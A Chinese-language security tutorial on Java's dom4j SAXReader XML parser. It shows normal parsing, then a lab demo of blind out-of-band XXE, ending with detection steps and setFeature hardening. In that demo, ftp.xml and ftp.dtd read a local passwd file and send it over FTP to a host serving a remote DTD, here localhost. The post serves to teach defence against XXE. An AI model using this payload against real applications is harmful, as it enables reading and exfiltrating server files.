0x01 何为SAXReader
官方描述:
Flexible XML framework for Java.
即灵活的Java XML框架,用于解析XML格式的内容。
0x02 常规用法Demo
需要下载dom4j的jar包:https://dom4j.github.io/
先定义一个user.xml,用于让DocumentBuilder来解析:
1 2 3 4 5 6
| <?xml version="1.0" encoding="UTF-8"?> <user> <name>Mi1k7ea</name> <sex>male</sex> <age>20</age> </user>
|
Demo代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| public class test { public static void main(String[] args) throws Exception{ File f = new File("user.xml"); saxReader(f); }
public static void saxReader(File f) throws DocumentException{ SAXReader saxReader = new SAXReader(); org.dom4j.Document d = saxReader.read(f); Element root = d.getRootElement(); List<Element> childs = root.elements(); for (Element child : childs){ String name = child.getName(); String text = child.getText(); System.out.println(name + ":" + text); } } }
|
运行后,发现成功解析了user.xml的内容:
0x03 XML注入漏洞验证
具体的步骤参考之前的博客《XML注入之DocumentBuilder与XXE攻击防御》,这里不再赘述。
下面只进行无回显外带OOB攻击Demo:
1 2 3 4 5 6 7 8 9 10 11
| public class test { public static void main(String[] args) throws Exception{ File f = new File("ftp.xml"); saxReader(f); }
public static void saxReader(File f) throws DocumentException{ SAXReader saxReader = new SAXReader(); org.dom4j.Document d = saxReader.read(f); } }
|
ftp.xml
1 2 3 4 5 6 7 8
| <?xml version="1.0"?> <!DOCTYPE ANY[ <!ENTITY % file SYSTEM "file:///e:/passwd"> <!ENTITY % remote SYSTEM "http://127.0.0.1/xxe/ftp.dtd"> %remote; %all; ]> <root>&send;</root>
|
ftp.dtd
1
| <!ENTITY % all "<!ENTITY send SYSTEM 'ftp://127.0.0.1:21/%file;'>">
|
运行本地FTPServer接收数据:
0x04 检测方法
1、在Java项目中搜索org.dom4j下的SAXReader,排查是否使用了该API解析XML文档内容;
2、若使用了,则进一步排查是否禁用了不安全的操作,具体的是看setFeature()的设置是否存在绕过的可能;
3、除了setFeature()的设置外,检查Reader在read()解析xml数据之前是否采用setEntityResolver()的方式来设置自定义实体解析方式;
0x05 防御方法
1 2 3 4
| saxReader.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); saxReader.setFeature("http://xml.org/sax/features/external-general-entities", false); saxReader.setFeature("http://xml.org/sax/features/external-parameter-entities", false); saxReader.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false);
|